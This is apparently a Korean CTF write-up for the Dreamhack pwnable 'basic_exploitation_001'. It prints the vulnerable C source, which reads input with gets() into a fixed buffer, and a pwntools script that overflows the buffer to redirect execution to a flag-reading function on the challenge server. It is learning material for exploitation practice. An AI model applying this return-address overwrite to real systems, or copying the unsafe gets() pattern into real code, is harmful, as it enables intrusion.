728x90
문제 분석
해당 파일을 실행시켜보니 입력을 받고 그대로 프로그램이 종료된다.
코드를 분석해보면,
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
|
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void read_flag() {
system("cat /flag");
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
gets(buf);
return 0;
}
|
cs |
buf 배열을 0x80만큼 할당해주고, gets 함수를 통해 buf를 입력받는다.
여기서 read_flag 함수를 실행시키면 되는 문제이다.
먼저 checksec을 통해 보호 기법을 살펴보았다.
canary도 없고, PIE도 적용되지 않고, stack 영역에 쓰기 권한이 부여되지 않았다.
사실 확인하려던 것은 canary의 유무이고,
문제 접근은 buf를 더미 데이터로 채운 이후 esp 부분에 read_flag 함수의 주소를 입력하면 될 것이다.
또한, PIE가 적용되지 않았으므로 read_flag 함수의 주소는 일정할 것이다.
Exploit
먼저 read_flag의 주소와 스택의 구를 알아야한다.
일단 ebp - 0x80에 buf의 시작 주소가 있으므로
0x80만큼 더미 데이터로 채우고,
ebp 영역인 0x4만큼도 더미 데이터로 채우고,
나오는 esp 영역을 read_flag의 주소로 채우면 자연스레 해당 함수로 리턴될 것이다.
read_flag의 주소는 0x80485b9임을 알아냈고,
이제 payload를 작성하면 된다.
1
2
3
4
5
6
7
8
9
10
11
|
from pwn import *
p = remote("host3.dreamhack.games", 12170)
e = ELF("./basic_exploitation_001")
read_flag = 0x80485b9
payload = b"A"*0x84
payload += p32(read_flag)
p.sendline(payload)
p.interactive()
|
cs |
먼저 A로 0x84 크기를 채우고,
이후 read_flag의 주소를 little Endian 방식으로 채우면 된다.
'Hacking > system' 카테고리의 다른 글
basic_exploitation_002 (0) | 2024.01.19 |
---|---|
Format String Bug (0) | 2024.01.18 |
out of bound (0) | 2024.01.18 |